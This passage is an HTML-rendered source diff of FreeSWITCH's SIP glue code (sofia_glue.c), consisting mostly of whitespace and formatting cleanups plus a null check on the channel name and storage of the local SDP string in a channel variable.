</span><span class="cx"> 
</span><span class="cx">                                 if (pass_fmtp) {
</span><span class="lines">@@ -432,13 +429,14 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><ins>+
</ins><span class="cx">         sofia_glue_tech_set_local_sdp(tech_pvt, buf, SWITCH_TRUE);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> const char *sofia_glue_get_codec_string(private_object_t *tech_pvt)
</span><span class="cx"> {
</span><span class="cx">         const char *codec_string = NULL, *preferred = NULL, *fallback = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_direction(tech_pvt-&gt;channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                 preferred = tech_pvt-&gt;profile-&gt;outbound_codec_string;
</span><span class="cx">                 fallback = tech_pvt-&gt;profile-&gt;inbound_codec_string;
</span><span class="lines">@@ -448,7 +446,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         codec_string = !zstr(preferred) ? preferred : fallback;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return codec_string;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -489,9 +487,9 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
- ready:
</del><span class="cx"> 
</span><ins>+  ready:
+
</ins><span class="cx">         if (codec_string) {
</span><span class="cx">                 char *tmp_codec_string;
</span><span class="cx">                 if ((tmp_codec_string = switch_core_session_strdup(tech_pvt-&gt;session, codec_string))) {
</span><span class="lines">@@ -539,7 +537,7 @@
</span><span class="cx">         switch_mutex_lock(profile-&gt;flag_mutex);
</span><span class="cx"> 
</span><span class="cx">         /* copy flags from profile to the sofia private */
</span><del>-        for(x = 0; x &lt; TFLAG_MAX; x++ ) {
</del><ins>+        for (x = 0; x &lt; TFLAG_MAX; x++) {
</ins><span class="cx">                 tech_pvt-&gt;flags[x] = profile-&gt;flags[x];
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -571,17 +569,20 @@
</span><span class="cx">         switch_channel_set_cap(tech_pvt-&gt;channel, CC_MEDIA_ACK);
</span><span class="cx">         switch_channel_set_cap(tech_pvt-&gt;channel, CC_BYPASS_MEDIA);
</span><span class="cx">         switch_channel_set_cap(tech_pvt-&gt;channel, CC_PROXY_MEDIA);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_set_private(session, tech_pvt);
</span><span class="cx"> 
</span><del>-        switch_snprintf(name, sizeof(name), &quot;sofia/%s/%s&quot;, profile-&gt;name, channame);
-        if ((p = strchr(name, ';'))) {
-                *p = '\0';
</del><ins>+        if (channame) {
+                switch_snprintf(name, sizeof(name), &quot;sofia/%s/%s&quot;, profile-&gt;name, channame);
+                if ((p = strchr(name, ';'))) {
+                        *p = '\0';
+                }
+                switch_channel_set_name(tech_pvt-&gt;channel, name);
</ins><span class="cx">         }
</span><del>-        switch_channel_set_name(tech_pvt-&gt;channel, name);
</del><span class="cx"> }
</span><span class="cx"> 
</span><del>-switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port, const char *sourceip, switch_memory_pool_t *pool)
</del><ins>+switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port,
+                                                                                          const char *sourceip, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         char *error = &quot;&quot;;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -606,7 +607,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Trying to use STUN but its disabled!\n&quot;);
</span><span class="cx">                         goto out;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 stun_ip = strdup(sourceip + 5);
</span><span class="cx"> 
</span><span class="cx">                 if ((p = strchr(stun_ip, ':'))) {
</span><span class="lines">@@ -624,7 +625,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 for (x = 0; x &lt; 5; x++) {
</span><del>-                        if (sofia_test_pflag(profile, PFLAG_FUNNY_STUN) || 
</del><ins>+                        if (sofia_test_pflag(profile, PFLAG_FUNNY_STUN) ||
</ins><span class="cx">                                 (tech_pvt &amp;&amp; (var = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;funny_stun&quot;)) &amp;&amp; switch_true(var))) {
</span><span class="cx">                                 error = &quot;funny&quot;;
</span><span class="cx">                                 funny++;
</span><span class="lines">@@ -662,11 +663,11 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                *ip = (char*)sourceip;
</del><ins>+                *ip = (char *) sourceip;
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- out:
</del><ins>+  out:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(stun_ip);
</span><span class="cx"> 
</span><span class="lines">@@ -713,23 +714,23 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         tech_pvt-&gt;local_sdp_audio_ip = tech_pvt-&gt;profile-&gt;rtpip;
</span><del>-        
</del><ins>+
</ins><span class="cx">         sdp_port = tech_pvt-&gt;local_sdp_audio_port;
</span><span class="cx"> 
</span><del>-        if (!(use_ip = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_adv_audio_ip&quot;)) 
</del><ins>+        if (!(use_ip = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_adv_audio_ip&quot;))
</ins><span class="cx">                 &amp;&amp; !zstr(tech_pvt-&gt;profile-&gt;extrtpip)) {
</span><del>-                        use_ip = tech_pvt-&gt;profile-&gt;extrtpip;
</del><ins>+                use_ip = tech_pvt-&gt;profile-&gt;extrtpip;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (use_ip) {
</span><del>-                if (sofia_glue_ext_address_lookup(tech_pvt-&gt;profile, tech_pvt, &amp;lookup_rtpip, &amp;sdp_port, 
</del><ins>+                if (sofia_glue_ext_address_lookup(tech_pvt-&gt;profile, tech_pvt, &amp;lookup_rtpip, &amp;sdp_port,
</ins><span class="cx">                                                                                   use_ip, switch_core_session_get_pool(tech_pvt-&gt;session)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         /* Address lookup was required and fail (external ip was &quot;host:...&quot; or &quot;stun:...&quot;) */
</span><del>-                        return SWITCH_STATUS_FALSE;        
</del><ins>+                        return SWITCH_STATUS_FALSE;
</ins><span class="cx">                 } else {
</span><span class="cx">                         if (lookup_rtpip == use_ip) {
</span><span class="cx">                                 /* sofia_glue_ext_address_lookup didn't return any error, but the return IP is the same as the original one, 
</span><del>-                                which means no lookup was necessary. Check if NAT is detected  */
</del><ins>+                                   which means no lookup was necessary. Check if NAT is detected  */
</ins><span class="cx">                                 if (sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) {
</span><span class="cx">                                         /* Yes, map the port through switch_nat */
</span><span class="cx">                                         switch_nat_add_mapping(tech_pvt-&gt;local_sdp_audio_port, SWITCH_NAT_UDP, &amp;sdp_port, SWITCH_FALSE);
</span><span class="lines">@@ -738,7 +739,7 @@
</span><span class="cx">                                         use_ip = tech_pvt-&gt;profile-&gt;rtpip;
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><del>-                                /* Address properly resolved, use it as external ip */ 
</del><ins>+                                /* Address properly resolved, use it as external ip */
</ins><span class="cx">                                 use_ip = lookup_rtpip;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -746,7 +747,7 @@
</span><span class="cx">                 /* No NAT traversal required, use the profile's rtp ip */
</span><span class="cx">                 use_ip = tech_pvt-&gt;profile-&gt;rtpip;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         tech_pvt-&gt;adv_sdp_audio_port = sdp_port;
</span><span class="cx">         tech_pvt-&gt;adv_sdp_audio_ip = tech_pvt-&gt;extrtpip = switch_core_session_strdup(tech_pvt-&gt;session, use_ip);
</span><span class="cx"> 
</span><span class="lines">@@ -784,20 +785,20 @@
</span><span class="cx"> 
</span><span class="cx">         sdp_port = tech_pvt-&gt;local_sdp_video_port;
</span><span class="cx"> 
</span><del>-        if (!(use_ip = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_adv_video_ip&quot;)) 
</del><ins>+        if (!(use_ip = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_adv_video_ip&quot;))
</ins><span class="cx">                 &amp;&amp; !zstr(tech_pvt-&gt;profile-&gt;extrtpip)) {
</span><del>-                        use_ip = tech_pvt-&gt;profile-&gt;extrtpip;
</del><ins>+                use_ip = tech_pvt-&gt;profile-&gt;extrtpip;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (use_ip) {
</span><del>-                if (sofia_glue_ext_address_lookup(tech_pvt-&gt;profile, tech_pvt, &amp;lookup_rtpip, &amp;sdp_port, 
</del><ins>+                if (sofia_glue_ext_address_lookup(tech_pvt-&gt;profile, tech_pvt, &amp;lookup_rtpip, &amp;sdp_port,
</ins><span class="cx">                                                                                   use_ip, switch_core_session_get_pool(tech_pvt-&gt;session)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         /* Address lookup was required and fail (external ip was &quot;host:...&quot; or &quot;stun:...&quot;) */
</span><del>-                        return SWITCH_STATUS_FALSE;        
</del><ins>+                        return SWITCH_STATUS_FALSE;
</ins><span class="cx">                 } else {
</span><span class="cx">                         if (lookup_rtpip == use_ip) {
</span><span class="cx">                                 /* sofia_glue_ext_address_lookup didn't return any error, but the return IP is the same as the original one, 
</span><del>-                                which means no lookup was necessary. Check if NAT is detected  */
</del><ins>+                                   which means no lookup was necessary. Check if NAT is detected  */
</ins><span class="cx">                                 if (sofia_glue_check_nat(tech_pvt-&gt;profile, tech_pvt-&gt;remote_ip)) {
</span><span class="cx">                                         /* Yes, map the port through switch_nat */
</span><span class="cx">                                         switch_nat_add_mapping(tech_pvt-&gt;local_sdp_video_port, SWITCH_NAT_UDP, &amp;sdp_port, SWITCH_FALSE);
</span><span class="lines">@@ -806,7 +807,7 @@
</span><span class="cx">                                         use_ip = tech_pvt-&gt;profile-&gt;rtpip;
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><del>-                                /* Address properly resolved, use it as external ip */ 
</del><ins>+                                /* Address properly resolved, use it as external ip */
</ins><span class="cx">                                 use_ip = lookup_rtpip;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -814,7 +815,7 @@
</span><span class="cx">                 /* No NAT traversal required, use the profile's rtp ip */
</span><span class="cx">                 use_ip = tech_pvt-&gt;profile-&gt;rtpip;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         tech_pvt-&gt;adv_sdp_video_port = sdp_port;
</span><span class="cx">         switch_channel_set_variable(tech_pvt-&gt;channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE, tech_pvt-&gt;adv_sdp_audio_ip);
</span><span class="cx">         switch_channel_set_variable_printf(tech_pvt-&gt;channel, SWITCH_LOCAL_VIDEO_PORT_VARIABLE, &quot;%d&quot;, sdp_port);
</span><span class="lines">@@ -913,22 +914,19 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport) 
</del><ins>+char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport)
</ins><span class="cx"> {
</span><del>-        return sofia_glue_create_via(session,
-                                                                 profile-&gt;extsipip,
-                                                                 (sofia_glue_transport_has_tls(transport))
-                                                                 ? profile-&gt;tls_sip_port : profile-&gt;sip_port,
-                                                                 transport);
</del><ins>+        return sofia_glue_create_via(session, profile-&gt;extsipip, (sofia_glue_transport_has_tls(transport))
+                                                                 ? profile-&gt;tls_sip_port : profile-&gt;sip_port, transport);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport) 
</del><ins>+char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport)
</ins><span class="cx"> {
</span><span class="cx">         if (port &amp;&amp; port != 5060) {
</span><span class="cx">                 if (session) {
</span><del>-                        return switch_core_session_sprintf(session, &quot;SIP/2.0/%s %s:%d;rport&quot;, sofia_glue_transport2str(transport), ip, port);                
</del><ins>+                        return switch_core_session_sprintf(session, &quot;SIP/2.0/%s %s:%d;rport&quot;, sofia_glue_transport2str(transport), ip, port);
</ins><span class="cx">                 } else {
</span><del>-                        return switch_mprintf(&quot;SIP/2.0/%s %s:%d;rport&quot;, sofia_glue_transport2str(transport), ip, port);                
</del><ins>+                        return switch_mprintf(&quot;SIP/2.0/%s %s:%d;rport&quot;, sofia_glue_transport2str(transport), ip, port);
</ins><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="cx">                 if (session) {
</span><span class="lines">@@ -973,7 +971,8 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port) {
</del><ins>+void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port)
+{
</ins><span class="cx">         su_addrinfo_t *addrinfo = msg_addrinfo(msg);
</span><span class="cx"> 
</span><span class="cx">         if (buf) {
</span><span class="lines">@@ -981,7 +980,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (port) {
</span><del>-                *port = get_port(addrinfo-&gt;ai_addr); 
</del><ins>+                *port = get_port(addrinfo-&gt;ai_addr);
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -995,8 +994,8 @@
</span><span class="cx">         stripped = sofia_glue_get_url_from_contact(stripped, 0);
</span><span class="cx"> 
</span><span class="cx">         /* remove our params so we don't make any whiny moronic device piss it's pants and forget who it is for a half-hour */
</span><del>-        if ((p = (char *)switch_stristr(&quot;;fs_&quot;, stripped))) {
-                *p = '\0'; 
</del><ins>+        if ((p = (char *) switch_stristr(&quot;;fs_&quot;, stripped))) {
+                *p = '\0';
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (transport &amp;&amp; transport != SOFIA_TRANSPORT_UDP) {
</span><span class="lines">@@ -1048,13 +1047,12 @@
</span><span class="cx">         char *p, *ip_ptr = NULL, *port_ptr = NULL, *vid_port_ptr = NULL, *pe;
</span><span class="cx">         int x;
</span><span class="cx">         const char *val;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(tech_pvt-&gt;remote_sdp_str)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if ((p = (char *) switch_stristr(&quot;c=IN IP4 &quot;, tech_pvt-&gt;remote_sdp_str)) ||
-                (p = (char *) switch_stristr(&quot;c=IN IP6 &quot;, tech_pvt-&gt;remote_sdp_str))) {
</del><ins>+        if ((p = (char *) switch_stristr(&quot;c=IN IP4 &quot;, tech_pvt-&gt;remote_sdp_str)) || (p = (char *) switch_stristr(&quot;c=IN IP6 &quot;, tech_pvt-&gt;remote_sdp_str))) {
</ins><span class="cx">                 ip_ptr = p + 9;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1112,7 +1110,7 @@
</span><span class="cx"> 
</span><span class="cx">         tech_pvt-&gt;remote_sdp_audio_ip = switch_core_session_strdup(tech_pvt-&gt;session, rip);
</span><span class="cx">         tech_pvt-&gt;remote_sdp_audio_port = (switch_port_t) atoi(rp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*rvp) {
</span><span class="cx">                 tech_pvt-&gt;remote_sdp_video_ip = switch_core_session_strdup(tech_pvt-&gt;session, rip);
</span><span class="cx">                 tech_pvt-&gt;remote_sdp_video_port = (switch_port_t) atoi(rvp);
</span><span class="lines">@@ -1126,9 +1124,8 @@
</span><span class="cx">                         sofia_set_flag_locked(tech_pvt, TFLAG_VIDEO);
</span><span class="cx">                         switch_channel_set_flag(tech_pvt-&gt;channel, CF_VIDEO);
</span><span class="cx">                         if (switch_rtp_ready(tech_pvt-&gt;video_rtp_session)) {
</span><del>-                                if (switch_rtp_set_remote_address(tech_pvt-&gt;video_rtp_session, tech_pvt-&gt;remote_sdp_video_ip, 
-                                                                                                  tech_pvt-&gt;remote_sdp_video_port, SWITCH_TRUE, &amp;err) !=
-                                        SWITCH_STATUS_SUCCESS) {
</del><ins>+                                if (switch_rtp_set_remote_address(tech_pvt-&gt;video_rtp_session, tech_pvt-&gt;remote_sdp_video_ip,
+                                                                                                  tech_pvt-&gt;remote_sdp_video_port, SWITCH_TRUE, &amp;err) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;VIDEO RTP REPORTS ERROR: [%s]\n&quot;, err);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;VIDEO RTP CHANGING DEST TO: [%s:%d]\n&quot;,
</span><span class="lines">@@ -1149,14 +1146,14 @@
</span><span class="cx">         if (switch_rtp_ready(tech_pvt-&gt;rtp_session)) {
</span><span class="cx">                 char *remote_host = switch_rtp_get_remote_host(tech_pvt-&gt;rtp_session);
</span><span class="cx">                 switch_port_t remote_port = switch_rtp_get_remote_port(tech_pvt-&gt;rtp_session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (remote_host &amp;&amp; remote_port &amp;&amp; !strcmp(remote_host, tech_pvt-&gt;remote_sdp_audio_ip) &amp;&amp; remote_port == tech_pvt-&gt;remote_sdp_audio_port) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Remote address:port [%s:%d] has not changed.\n&quot;,
</span><span class="cx">                                                           tech_pvt-&gt;remote_sdp_audio_ip, tech_pvt-&gt;remote_sdp_audio_port);
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><del>-                
-                if (switch_rtp_set_remote_address(tech_pvt-&gt;rtp_session, tech_pvt-&gt;remote_sdp_audio_ip, 
</del><ins>+
+                if (switch_rtp_set_remote_address(tech_pvt-&gt;rtp_session, tech_pvt-&gt;remote_sdp_audio_ip,
</ins><span class="cx">                                                                                   tech_pvt-&gt;remote_sdp_audio_port, SWITCH_TRUE, &amp;err) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;AUDIO RTP REPORTS ERROR: [%s]\n&quot;, err);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -1165,7 +1162,7 @@
</span><span class="cx">                         if (!sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_DISABLE_RTP_AUTOADJ) &amp;&amp;
</span><span class="cx">                                 !((val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;disable_rtp_auto_adjust&quot;)) &amp;&amp; switch_true(val))) {
</span><span class="cx">                                 /* Reactivate the NAT buster flag. */
</span><del>-                                switch_rtp_set_flag(tech_pvt-&gt;rtp_session, SWITCH_RTP_FLAG_AUTOADJ);        
</del><ins>+                                switch_rtp_set_flag(tech_pvt-&gt;rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
</ins><span class="cx">                         }
</span><span class="cx">                         if (sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_AUTOFIX_TIMING)) {
</span><span class="cx">                                 tech_pvt-&gt;check_frames = 0;
</span><span class="lines">@@ -1180,8 +1177,8 @@
</span><span class="cx"> void sofia_glue_tech_patch_sdp(private_object_t *tech_pvt)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t len;
</span><del>-        char *p, *q, *pe , *qe;
-        int has_video=0,has_audio=0,has_ip=0;
</del><ins>+        char *p, *q, *pe, *qe;
+        int has_video = 0, has_audio = 0, has_ip = 0;
</ins><span class="cx">         char port_buf[25] = &quot;&quot;;
</span><span class="cx">         char vport_buf[25] = &quot;&quot;;
</span><span class="cx">         char *new_sdp;
</span><span class="lines">@@ -1192,51 +1189,52 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         len = strlen(tech_pvt-&gt;local_sdp_str) * 2;
</span><del>-        
-        if (switch_channel_test_flag(tech_pvt-&gt;channel, CF_ANSWERED) &amp;&amp; 
</del><ins>+
+        if (switch_channel_test_flag(tech_pvt-&gt;channel, CF_ANSWERED) &amp;&amp;
</ins><span class="cx">                 (switch_stristr(&quot;sendonly&quot;, tech_pvt-&gt;local_sdp_str) || switch_stristr(&quot;0.0.0.0&quot;, tech_pvt-&gt;local_sdp_str))) {
</span><del>-            switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Skip patch on hold SDP\n&quot;);
-            return;
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;Skip patch on hold SDP\n&quot;);
+                return;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(tech_pvt-&gt;adv_sdp_audio_ip) || !tech_pvt-&gt;adv_sdp_audio_port) {
</span><del>-            if (sofia_glue_tech_choose_port(tech_pvt, 1) != SWITCH_STATUS_SUCCESS) {
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;%s I/O Error\n&quot;, switch_channel_get_name(tech_pvt-&gt;channel));
</del><ins>+                if (sofia_glue_tech_choose_port(tech_pvt, 1) != SWITCH_STATUS_SUCCESS) {
+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;%s I/O Error\n&quot;,
+                                                          switch_channel_get_name(tech_pvt-&gt;channel));
</ins><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">                 tech_pvt-&gt;iananame = switch_core_session_strdup(tech_pvt-&gt;session, &quot;PROXY&quot;);
</span><span class="cx">                 tech_pvt-&gt;rm_rate = 8000;
</span><span class="cx">                 tech_pvt-&gt;codec_ms = 20;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         new_sdp = switch_core_session_alloc(tech_pvt-&gt;session, len);
</span><span class="cx">         switch_snprintf(port_buf, sizeof(port_buf), &quot;%u&quot;, tech_pvt-&gt;adv_sdp_audio_port);
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         p = tech_pvt-&gt;local_sdp_str;
</span><span class="cx">         q = new_sdp;
</span><span class="cx">         pe = p + strlen(p);
</span><span class="cx">         qe = q + len - 1;
</span><span class="cx"> 
</span><del>-        while(p &amp;&amp; *p) {
</del><ins>+        while (p &amp;&amp; *p) {
</ins><span class="cx">                 if (p &gt;= pe) {
</span><span class="cx">                         bad = 1;
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (q &gt;= qe) {
</span><span class="cx">                         bad = 2;
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-            if (tech_pvt-&gt;adv_sdp_audio_ip &amp;&amp; !strncmp(&quot;c=IN IP&quot;, p, 7)) {
</del><ins>+                if (tech_pvt-&gt;adv_sdp_audio_ip &amp;&amp; !strncmp(&quot;c=IN IP&quot;, p, 7)) {
</ins><span class="cx">                         strncpy(q, p, 9);
</span><span class="cx">                         p += 9;
</span><span class="cx">                         q += 9;
</span><span class="cx">                         strncpy(q, tech_pvt-&gt;adv_sdp_audio_ip, strlen(tech_pvt-&gt;adv_sdp_audio_ip));
</span><span class="cx">                         q += strlen(tech_pvt-&gt;adv_sdp_audio_ip);
</span><span class="cx"> 
</span><del>-                        while(p &amp;&amp; *p &amp;&amp; ((*p &gt;= '0' &amp;&amp; *p &lt;= '9') || *p == '.' || *p == ':' || (*p &gt;= 'A' &amp;&amp; *p &lt;= 'F') || (*p &gt;= 'a' &amp;&amp; *p &lt;= 'f'))) {
</del><ins>+                        while (p &amp;&amp; *p &amp;&amp; ((*p &gt;= '0' &amp;&amp; *p &lt;= '9') || *p == '.' || *p == ':' || (*p &gt;= 'A' &amp;&amp; *p &lt;= 'F') || (*p &gt;= 'a' &amp;&amp; *p &lt;= 'f'))) {
</ins><span class="cx">                                 if (p &gt;= pe) {
</span><span class="cx">                                         bad = 3;
</span><span class="cx">                                         goto end;
</span><span class="lines">@@ -1244,7 +1242,7 @@
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                    has_ip++;
</del><ins>+                        has_ip++;
</ins><span class="cx"> 
</span><span class="cx">                 } else if (!strncmp(&quot;m=audio &quot;, p, 8) || (!strncmp(&quot;m=image &quot;, p, 8))) {
</span><span class="cx">                         strncpy(q, p, 8);
</span><span class="lines">@@ -1257,7 +1255,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                         q += 8;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (q &gt;= qe) {
</span><span class="cx">                                 bad = 5;
</span><span class="cx">                                 goto end;
</span><span class="lines">@@ -1280,9 +1278,9 @@
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        has_audio++;                
</del><ins>+                        has_audio++;
</ins><span class="cx"> 
</span><del>-            } else if (!strncmp(&quot;m=video &quot;, p, 8)) {
</del><ins>+                } else if (!strncmp(&quot;m=video &quot;, p, 8)) {
</ins><span class="cx">                         if (!has_video) {
</span><span class="cx">                                 sofia_glue_tech_choose_video_port(tech_pvt, 1);
</span><span class="cx">                                 tech_pvt-&gt;video_rm_encoding = &quot;PROXY-VID&quot;;
</span><span class="lines">@@ -1323,12 +1321,12 @@
</span><span class="cx"> 
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         has_video++;
</span><del>-            }
-            
-            while (p &amp;&amp; *p &amp;&amp; *p != '\n') {
</del><ins>+                }
</ins><span class="cx"> 
</span><ins>+                while (p &amp;&amp; *p &amp;&amp; *p != '\n') {
+
</ins><span class="cx">                         if (p &gt;= pe) {
</span><span class="cx">                                 bad = 12;
</span><span class="cx">                                 goto end;
</span><span class="lines">@@ -1340,23 +1338,23 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         *q++ = *p++;
</span><del>-            }
-                
</del><ins>+                }
+
</ins><span class="cx">                 if (p &gt;= pe) {
</span><del>-            bad = 14;
-            goto end;
-        }
-                
</del><ins>+                        bad = 14;
+                        goto end;
+                }
+
</ins><span class="cx">                 if (q &gt;= qe) {
</span><span class="cx">                         bad = 15;
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-            *q++ = *p++;
</del><ins>+                *q++ = *p++;
</ins><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (bad) {
</span><span class="cx">                 return;
</span><span class="lines">@@ -1374,8 +1372,8 @@
</span><span class="cx">                                                   switch_channel_get_name(tech_pvt-&gt;channel), tech_pvt-&gt;local_sdp_str);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_DEBUG, &quot;%s Patched SDP\n---\n%s\n+++\n%s\n&quot;,
</span><span class="cx">                                           switch_channel_get_name(tech_pvt-&gt;channel), tech_pvt-&gt;local_sdp_str, new_sdp);
</span><span class="cx"> 
</span><span class="lines">@@ -1387,33 +1385,34 @@
</span><span class="cx"> void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup)
</span><span class="cx"> {
</span><span class="cx">         switch_mutex_lock(tech_pvt-&gt;sofia_mutex);
</span><del>-        tech_pvt-&gt;local_sdp_str = dup ? switch_core_session_strdup(tech_pvt-&gt;session, sdp_str) : (char *)sdp_str;
-        switch_mutex_unlock(tech_pvt-&gt;sofia_mutex);        
</del><ins>+        tech_pvt-&gt;local_sdp_str = dup ? switch_core_session_strdup(tech_pvt-&gt;session, sdp_str) : (char *) sdp_str;
+        switch_channel_set_variable(tech_pvt-&gt;channel, &quot;sip_local_sdp_str&quot;, tech_pvt-&gt;local_sdp_str);
+        switch_mutex_unlock(tech_pvt-&gt;sofia_mutex);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-char* sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix) 
</del><ins>+char *sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix)
</ins><span class="cx"> {
</span><span class="cx">         char *extra_headers = NULL;
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><del>-    switch_event_header_t *hi = NULL;
</del><ins>+        switch_event_header_t *hi = NULL;
</ins><span class="cx"> 
</span><del>-    SWITCH_STANDARD_STREAM(stream);
-    if ((hi = switch_channel_variable_first(channel))) {
-        for (; hi; hi = hi-&gt;next) {
